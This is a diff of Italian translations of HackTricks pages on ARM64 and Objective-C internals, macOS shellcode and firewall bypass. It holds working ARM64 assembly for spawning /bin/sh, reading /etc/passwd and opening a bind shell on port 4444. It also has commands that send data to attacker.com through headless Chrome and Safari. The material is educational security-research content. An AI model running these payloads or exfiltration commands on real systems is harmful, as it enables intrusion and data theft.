Si noti che la transizione da 64 bit a 32 bit avviene con un abbassamento del livello di eccezione (ad esempio un programma a 64 bit in EL1 che attiva un programma in EL0). Ciò viene fatto impostando il **bit 4 di** **`SPSR_ELx`** registro speciale **a 1** quando il thread del processo `AArch32` è pronto per essere eseguito e il resto di `SPSR_ELx` memorizza i programmi **`AArch32`** CPSR. Quindi, il processo privilegiato chiama l'istruzione **`ERET`** in modo che il processore passi a **`AArch32`** entrando in A32 o T32 a seconda di CPSR\*\*.\*\* Si noti che la transizione da 64 bit a 32 bit avviene con un abbassamento del livello di eccezione (ad esempio un programma a 64 bit in EL1 che attiva un programma in EL0). Ciò viene fatto impostando il **bit 4 di** **`SPSR_ELx`** registro speciale **a 1** quando il thread del processo `AArch32` è pronto per essere eseguito e il resto di `SPSR_ELx` memorizza i programmi **`AArch32`** CPSR. Quindi, il processo privilegiato chiama l'istruzione **`ERET`** in modo che il processore passi a **`AArch32`** entrando in A32 o T32 a seconda di CPSR\*\*.\*\*
L'**`interworking`** avviene utilizzando i bit J e T di CPSR. `J=0` e `T=0` significa **`A32`** e `J=0` e `T=1` significa **T32**. Questo si traduce fondamentalmente nell'impostare il **bit più basso a 1** per indicare che il set di istruzioni è T32.\ L'**`interworking`** avviene utilizzando i bit J e T di CPSR. `J=0` e `T=0` significa **`A32`** e `J=0` e `T=1` significa **T32**. Questo si traduce fondamentalmente nell'impostare il **bit più basso a 1** per indicare che il set di istruzioni è T32.\
@ -308,7 +309,7 @@ I campi sono divisi in alcuni gruppi:
#### Application Program Status Register (APSR) #### Application Program Status Register (APSR)
- I flag **`N`**, **`Z`**, **`C`**, **`V`** (come in AArch64) - I flag **`N`**, **`Z`**, **`C`**, **`V`** (come in AArch64)
- Il flag **`Q`**: Viene impostato a 1 ogni volta che si verifica una **saturazione intera** durante l'esecuzione di un'istruzione aritmetica di saturazione specializzata. Una volta impostato a **`1`**, manterrà il valore fino a quando non verrà impostato manualmente a 0. Inoltre, non c'è alcuna istruzione che ne controlla il valore implicitamente, deve essere fatto leggendolo manualmente. - Il flag **`Q`**: Viene impostato a 1 ogni volta che si verifica una **saturazione intera** durante l'esecuzione di un'istruzione aritmetica di saturazione specializzata. Una volta impostato a **`1`**, manterrà il valore fino a quando non verrà impostato manualmente a 0. Inoltre, non c'è alcuna istruzione che controlla il suo valore implicitamente, deve essere fatto leggendolo manualmente.
- **`GE`** (Greater than or equal) Flags: Viene utilizzato nelle operazioni SIMD (Single Instruction, Multiple Data), come "addizione parallela" e "sottrazione parallela". Queste operazioni consentono di elaborare più punti dati in un'unica istruzione. - **`GE`** (Greater than or equal) Flags: Viene utilizzato nelle operazioni SIMD (Single Instruction, Multiple Data), come "addizione parallela" e "sottrazione parallela". Queste operazioni consentono di elaborare più punti dati in un'unica istruzione.
Ad esempio, l'istruzione **`UADD8`** **aggiunge quattro coppie di byte** (da due operandi da 32 bit) in parallelo e memorizza i risultati in un registro da 32 bit. Quindi **imposta i flag `GE` nell'`APSR`** in base a questi risultati. Ciascun flag GE corrisponde a una delle addizioni di byte, indicando se l'addizione per quella coppia di byte ha **overflowed**. Ad esempio, l'istruzione **`UADD8`** **aggiunge quattro coppie di byte** (da due operandi da 32 bit) in parallelo e memorizza i risultati in un registro da 32 bit. Quindi **imposta i flag `GE` nell'`APSR`** in base a questi risultati. Ciascun flag GE corrisponde a una delle addizioni di byte, indicando se l'addizione per quella coppia di byte ha **overflowed**.
@ -317,14 +318,14 @@ L'istruzione **`SEL`** utilizza questi flag GE per eseguire azioni condizionali.
#### Execution State Registers #### Execution State Registers
- I bit **`J`** e **`T`**: **`J`** dovrebbe essere 0 e se **`T`** è 0 viene utilizzato il set di istruzioni A32, e se è 1, viene utilizzato il set di istruzioni T32. - I bit **`J`** e **`T`**: **`J`** dovrebbe essere 0 e se **`T`** è 0 viene utilizzato il set di istruzioni A32, e se è 1 viene utilizzato il set di istruzioni T32.
- **IT Block State Register** (`ITSTATE`): Questi sono i bit da 10 a 15 e da 25 a 26. Memorizzano le condizioni per le istruzioni all'interno di un gruppo con prefisso **`IT`**. - **IT Block State Register** (`ITSTATE`): Questi sono i bit da 10 a 15 e da 25 a 26. Memorizzano le condizioni per le istruzioni all'interno di un gruppo con prefisso **`IT`**.
- Bit **`E`**: Indica la **endianness**. - Bit **`E`**: Indica la **endianness**.
- **Mode and Exception Mask Bits** (0-4): Determinano lo stato di esecuzione corrente. Il quinto indica se il programma viene eseguito come 32 bit (un 1) o 64 bit (un 0). Gli altri 4 rappresentano la **modalità di eccezione attualmente in uso** (quando si verifica un'eccezione e viene gestita). Il numero impostato **indica la priorità corrente** nel caso in cui venga scatenata un'altra eccezione mentre questa viene gestita. - **Mode and Exception Mask Bits** (0-4): Determinano lo stato di esecuzione corrente. Il quinto indica se il programma viene eseguito come 32 bit (un 1) o 64 bit (un 0). Gli altri 4 rappresentano la **modalità di eccezione attualmente in uso** (quando si verifica un'eccezione e viene gestita). Il numero impostato **indica la priorità corrente** nel caso in cui venga scatenata un'altra eccezione mentre questa viene gestita.
<figure><img src="../../../.gitbook/assets/image (1200).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1200).png" alt=""><figcaption></figcaption></figure>
- **`AIF`**: Alcune eccezioni possono essere disabilitate utilizzando i bit **`A`**, `I`, `F`. Se **`A`** è 1 significa che verranno scatenati **aborti asincroni**. Il **`I`** configura la risposta alle **Richieste di Interruzione Hardware** esterne (IRQ). e il F è relativo alle **Richieste di Interruzione Rapida** (FIR). - **`AIF`**: Alcune eccezioni possono essere disabilitate utilizzando i bit **`A`**, `I`, `F`. Se **`A`** è 1 significa che verranno scatenati **aborti asincroni**. Il **`I`** configura la risposta alle **Richieste di Interruzione Hardware** esterne (IRQ). e il F è relativo alle **Richieste di Interruzione Rapida** (FIRs).
## macOS ## macOS
@ -349,7 +350,7 @@ dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shar
{% endcode %} {% endcode %}
{% hint style="success" %} {% hint style="success" %}
A volte è più facile controllare il codice **decompilato** da **`libsystem_kernel.dylib`** piuttosto che controllare il **codice sorgente** perché il codice di diverse chiamate di sistema (BSD e Mach) è generato tramite script (controlla i commenti nel codice sorgente) mentre nella dylib puoi trovare cosa viene chiamato. A volte è più facile controllare il codice **decompilato** da **`libsystem_kernel.dylib`** **piuttosto che** controllare il **codice sorgente** perché il codice di diverse chiamate di sistema (BSD e Mach) è generato tramite script (controlla i commenti nel codice sorgente) mentre nella dylib puoi trovare cosa viene chiamato.
{% endhint %} {% endhint %}
### chiamate machdep ### chiamate machdep
@ -366,14 +367,15 @@ Ad esempio, la chiamata `gettimeofdate` legge il valore di `timeval` direttament
È molto comune trovare questa funzione utilizzata nei programmi Objective-C o Swift. Questa funzione consente di chiamare un metodo di un oggetto Objective-C. È molto comune trovare questa funzione utilizzata nei programmi Objective-C o Swift. Questa funzione consente di chiamare un metodo di un oggetto Objective-C.
Parametri ([ulteriori informazioni nella documentazione](https://developer.apple.com/documentation/objectivec/1456712-objc\_msgsend)): Parametri ([più informazioni nella documentazione](https://developer.apple.com/documentation/objectivec/1456712-objc\_msgsend)):
* x0: self -> Puntatore all'istanza * x0: self -> Puntatore all'istanza
* x1: op -> Selettore del metodo * x1: op -> Selettore del metodo
* x2... -> Resto degli argomenti del metodo invocato * x2... -> Resto degli argomenti del metodo invocato
Quindi, se imposti un breakpoint prima del salto a questa funzione, puoi facilmente trovare cosa viene invocato in lldb con (in questo esempio l'oggetto chiama un oggetto da `NSConcreteTask` che eseguirà un comando): Quindi, se imposti un breakpoint prima del salto a questa funzione, puoi facilmente trovare cosa viene invocato in lldb con (in questo esempio l'oggetto chiama un oggetto da `NSConcreteTask` che eseguirà un comando):
``` ```bash
# Right in the line were objc_msgSend will be called
(lldb) po $x0 (lldb) po $x0
<NSConcreteTask: 0x1052308e0> <NSConcreteTask: 0x1052308e0>
@ -390,9 +392,29 @@ whoami
) )
``` ```
{% hint style="success" %} {% hint style="success" %}
Impostando la variabile di ambiente `NSObjCMessageLoggingEnabled=1` è possibile registrare quando questa funzione viene chiamata in un file come `/tmp/msgSends-pid`. Impostando la variabile di ambiente **`NSObjCMessageLoggingEnabled=1`** è possibile registrare quando questa funzione viene chiamata in un file come `/tmp/msgSends-pid`.
Inoltre, impostando **`OBJC_HELP=1`** e chiamando qualsiasi binario è possibile visualizzare altre variabili di ambiente che potresti utilizzare per **registrare** quando avvengono determinate azioni Objc-C.
{% endhint %} {% endhint %}
Quando questa funzione viene chiamata, è necessario trovare il metodo chiamato dell'istanza indicata, per questo vengono effettuate ricerche diverse:
* Eseguire una ricerca nella cache ottimistica:
* Se ha successo, finito
* Acquisire runtimeLock (lettura)
* Se (realize && !cls->realized) realizzi la classe
* Se (initialize && !cls->initialized) inizializza la classe
* Prova la cache della classe stessa:
* Se ha successo, finito
* Prova l'elenco dei metodi della classe:
* Se trovato, riempi la cache e finito
* Prova la cache della superclasse:
* Se ha successo, finito
* Prova l'elenco dei metodi della superclasse:
* Se trovato, riempi la cache e finito
* Se (resolver) prova il risolutore del metodo e ripeti dalla ricerca della classe
* Se ancora qui (= tutto il resto è fallito) prova il forwarder
### Shellcodes ### Shellcodes
Per compilare: Per compilare:
@ -417,9 +439,9 @@ for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ;
echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}' echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'
done done
``` ```
<dettagli> <details>
<riassunto>Codice C per testare lo shellcode</riassunto> <summary>Codice C per testare lo shellcode</summary>
```c ```c
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader // gcc loader.c -o loader
@ -469,7 +491,7 @@ return 0;
#### Shell #### Shell
Prendilo da [**qui**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) e spiegato. Prelevato da [**qui**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) e spiegato.
{% tabs %} {% tabs %}
{% tab title="con adr" %} {% tab title="con adr" %}
@ -539,7 +561,7 @@ sh_path: .asciz "/bin/sh"
{% endtab %} {% endtab %}
{% endtabs %} {% endtabs %}
#### Lettura con cat #### Leggere con cat
L'obiettivo è eseguire `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, quindi il secondo argomento (x1) è un array di parametri (che in memoria significa uno stack degli indirizzi). L'obiettivo è eseguire `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, quindi il secondo argomento (x1) è un array di parametri (che in memoria significa uno stack degli indirizzi).
```armasm ```armasm
@ -611,9 +633,9 @@ sh_c_option: .asciz "-c"
.align 2 .align 2
touch_command: .asciz "touch /tmp/lalala" touch_command: .asciz "touch /tmp/lalala"
``` ```
#### Shell bindata #### Shell di bind
Shell bindata da [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) sulla **porta 4444** Shell di bind da [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) sulla **porta 4444**
```armasm ```armasm
.section __TEXT,__text .section __TEXT,__text
.global _main .global _main
@ -764,16 +786,17 @@ mov x2, xzr
mov x16, #59 mov x16, #59
svc #0x1337 svc #0x1337
``` ```
{% hint style="success" %}
Impara e pratica l'hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}

View file

@ -0,0 +1,160 @@
# Oggetti in memoria
{% hint style="success" %}
Impara e pratica l'hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Sostieni HackTricks</summary>
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## CFRuntimeClass
Gli oggetti CF\* provengono da CoreFoundation, che fornisce più di 50 classi di oggetti come `CFString`, `CFNumber` o `CFAllocatior`.
Tutte queste classi sono istanze della classe `CFRuntimeClass`, che quando chiamata restituisce un indice alla `__CFRuntimeClassTable`. Il CFRuntimeClass è definito in [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html):
```objectivec
// Some comments were added to the original code
enum { // Version field constants
_kCFRuntimeScannedObject = (1UL << 0),
_kCFRuntimeResourcefulObject = (1UL << 2), // tells CFRuntime to make use of the reclaim field
_kCFRuntimeCustomRefCount = (1UL << 3), // tells CFRuntime to make use of the refcount field
_kCFRuntimeRequiresAlignment = (1UL << 4), // tells CFRuntime to make use of the requiredAlignment field
};
typedef struct __CFRuntimeClass {
CFIndex version; // This is made a bitwise OR with the relevant previous flags
const char *className; // must be a pure ASCII string, nul-terminated
void (*init)(CFTypeRef cf); // Initializer function
CFTypeRef (*copy)(CFAllocatorRef allocator, CFTypeRef cf); // Copy function, taking CFAllocatorRef and CFTypeRef to copy
void (*finalize)(CFTypeRef cf); // Finalizer function
Boolean (*equal)(CFTypeRef cf1, CFTypeRef cf2); // Function to be called by CFEqual()
CFHashCode (*hash)(CFTypeRef cf); // Function to be called by CFHash()
CFStringRef (*copyFormattingDesc)(CFTypeRef cf, CFDictionaryRef formatOptions); // Provides a CFStringRef with a textual description of the object// return str with retain
CFStringRef (*copyDebugDesc)(CFTypeRef cf); // CFStringRed with textual description of the object for CFCopyDescription
#define CF_RECLAIM_AVAILABLE 1
void (*reclaim)(CFTypeRef cf); // Or in _kCFRuntimeResourcefulObject in the .version to indicate this field should be used
// It not null, it's called when the last reference to the object is released
#define CF_REFCOUNT_AVAILABLE 1
// If not null, the following is called when incrementing or decrementing reference count
uint32_t (*refcount)(intptr_t op, CFTypeRef cf); // Or in _kCFRuntimeCustomRefCount in the .version to indicate this field should be used
// this field must be non-NULL when _kCFRuntimeCustomRefCount is in the .version field
// - if the callback is passed 1 in 'op' it should increment the 'cf's reference count and return 0
// - if the callback is passed 0 in 'op' it should return the 'cf's reference count, up to 32 bits
// - if the callback is passed -1 in 'op' it should decrement the 'cf's reference count; if it is now zero, 'cf' should be cleaned up and deallocated (the finalize callback above will NOT be called unless the process is running under GC, and CF does not deallocate the memory for you; if running under GC, finalize should do the object tear-down and free the object memory); then return 0
// remember to use saturation arithmetic logic and stop incrementing and decrementing when the ref count hits UINT32_MAX, or you will have a security bug
// remember that reference count incrementing/decrementing must be done thread-safely/atomically
// objects should be created/initialized with a custom ref-count of 1 by the class creation functions
// do not attempt to use any bits within the CFRuntimeBase for your reference count; store that in some additional field in your CF object
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Wmissing-field-initializers"
#define CF_REQUIRED_ALIGNMENT_AVAILABLE 1
// If not 0, allocation of object must be on this boundary
uintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .version field to indicate this field should be used; the allocator to _CFRuntimeCreateInstance() will be ignored in this case; if this is less than the minimum alignment the system supports, you'll get higher alignment; if this is not an alignment the system supports (e.g., most systems will only support powers of two, or if it is too high), the result (consequences) will be up to CF or the system to decide
} CFRuntimeClass;
```
## Objective-C
### Sezioni di memoria utilizzate
La maggior parte dei dati utilizzati dall'esecuzione di ObjectiveC cambierà durante l'esecuzione, quindi utilizza alcune sezioni del segmento **\_\_DATA** in memoria:
- **`__objc_msgrefs`** (`message_ref_t`): Riferimenti ai messaggi
- **`__objc_ivar`** (`ivar`): Variabili di istanza
- **`__objc_data`** (`...`): Dati mutabili
- **`__objc_classrefs`** (`Class`): Riferimenti alle classi
- **`__objc_superrefs`** (`Class`): Riferimenti alle superclassi
- **`__objc_protorefs`** (`protocol_t *`): Riferimenti ai protocolli
- **`__objc_selrefs`** (`SEL`): Riferimenti ai selettori
- **`__objc_const`** (`...`): Dati della classe `r/o` e altri dati (sperabilmente) costanti
- **`__objc_imageinfo`** (`versione, flag`): Utilizzato durante il caricamento dell'immagine: Versione attualmente `0`; I flag specificano il supporto preottimizzato per il GC, ecc.
- **`__objc_protolist`** (`protocol_t *`): Elenco dei protocolli
- **`__objc_nlcatlist`** (`category_t`): Puntatore alle categorie Non-Lazy definite in questo binario
- **`__objc_catlist`** (`category_t`): Puntatore alle categorie definite in questo binario
- **`__objc_nlclslist`** (`classref_t`): Puntatore alle classi Objective-C Non-Lazy definite in questo binario
- **`__objc_classlist`** (`classref_t`): Puntatori a tutte le classi Objective-C definite in questo binario
Utilizza anche alcune sezioni nel segmento **`__TEXT`** per memorizzare valori costanti se non è possibile scriverli in questa sezione:
- **`__objc_methname`** (Stringa-C): Nomi dei metodi
- **`__objc_classname`** (Stringa-C): Nomi delle classi
- **`__objc_methtype`** (Stringa-C): Tipi di metodi
### Codifica dei tipi
Objective-C utilizza alcune manipolazioni per codificare i tipi di selettori e variabili di tipi semplici e complessi:
- I tipi primitivi utilizzano la loro prima lettera del tipo `i` per `int`, `c` per `char`, `l` per `long`... e utilizzano la lettera maiuscola nel caso in cui sia senza segno (`L` per `unsigned Long`).
- Altri tipi di dati le cui lettere sono utilizzate o sono speciali, utilizzano altre lettere o simboli come `q` per `long long`, `b` per `campi di bit`, `B` per `booleani`, `#` per `classi`, `@` per `id`, `*` per `puntatori a char`, `^` per `puntatori generici` e `?` per `non definito`.
- Gli array, le strutture e le unioni utilizzano `[`, `{` e `(`
#### Esempio di Dichiarazione del Metodo
{% code overflow="wrap" %}
```objectivec
- (NSString *)processString:(id)input withOptions:(char *)options andError:(id)error;
```
{% endcode %}
Il selettore sarebbe `processString:withOptions:andError:`
#### Codifica del Tipo
* `id` è codificato come `@`
* `char *` è codificato come `*`
La codifica completa del tipo per il metodo è:
```less
@24@0:8@16*20^@24
```
#### Scomposizione Dettagliata
1. **Tipo di Ritorno (`NSString *`)**: Codificato come `@` con lunghezza 24
2. **`self` (istanza dell'oggetto)**: Codificato come `@`, all'offset 0
3. **`_cmd` (selettore)**: Codificato come `:`, all'offset 8
4. **Primo argomento (`char * input`)**: Codificato come `*`, all'offset 16
5. **Secondo argomento (`NSDictionary * options`)**: Codificato come `@`, all'offset 20
6. **Terzo argomento (`NSError ** error`)**: Codificato come `^@`, all'offset 24
**Con il selettore + la codifica è possibile ricostruire il metodo.**
### **Classi**
Le classi in Objective-C sono una struttura con proprietà, puntatori a metodi... È possibile trovare la struttura `objc_class` nel [**codice sorgente**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html):
```objectivec
struct objc_class : objc_object {
// Class ISA;
Class superclass;
cache_t cache; // formerly cache pointer and vtable
class_data_bits_t bits; // class_rw_t * plus custom rr/alloc flags
class_rw_t *data() {
return bits.data();
}
void setData(class_rw_t *newData) {
bits.setData(newData);
}
void setInfo(uint32_t set) {
assert(isFuture() || isRealized());
data()->setFlags(set);
}
[...]
```
Questo classe utilizza alcuni bit del campo isa per indicare alcune informazioni sulla classe.
Successivamente, la struct ha un puntatore alla struct `class_ro_t` memorizzata su disco che contiene attributi della classe come il suo nome, metodi di base, proprietà e variabili di istanza.\
Durante l'esecuzione, una struttura aggiuntiva `class_rw_t` viene utilizzata contenente puntatori che possono essere modificati come metodi, protocolli, proprietà...

View file

@ -1,18 +1,19 @@
# Bypassing dei firewall di macOS # Bypassing dei firewall di macOS
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
## Tecniche trovate ## Tecniche trovate
@ -40,7 +41,7 @@ Alcune idee per cercare di bypassare i firewall
### Controllare il traffico consentito ### Controllare il traffico consentito
Conoscere il traffico consentito ti aiuterà a identificare potenzialmente i domini presenti nella whitelist o le applicazioni che hanno il permesso di accedervi Conoscere il traffico consentito ti aiuterà a identificare potenzialmente i domini presenti nella whitelist o le applicazioni autorizzate ad accedervi
```bash ```bash
lsof -i TCP -sTCP:ESTABLISHED lsof -i TCP -sTCP:ESTABLISHED
``` ```
@ -63,7 +64,7 @@ end tell
``` ```
* Google Chrome * Google Chrome
{% codice overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil" "Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"
``` ```
@ -79,7 +80,7 @@ open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
``` ```
### Attraverso l'iniezione di processi ### Attraverso l'iniezione di processi
Se puoi **iniettare codice in un processo** che è autorizzato a connettersi a qualsiasi server, potresti eludere le protezioni del firewall: Se riesci a **iniettare codice in un processo** che è autorizzato a connettersi a qualsiasi server, potresti eludere le protezioni del firewall:
{% content-ref url="macos-proces-abuse/" %} {% content-ref url="macos-proces-abuse/" %}
[macos-proces-abuse](macos-proces-abuse/) [macos-proces-abuse](macos-proces-abuse/)
@ -89,16 +90,17 @@ Se puoi **iniettare codice in un processo** che è autorizzato a connettersi a q
* [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k) * [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k)
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Supporta HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# Gestori delle applicazioni per estensioni di file e schemi URL di macOS # Gestori delle applicazioni per estensioni di file e schemi URL di macOS
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Supporta HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
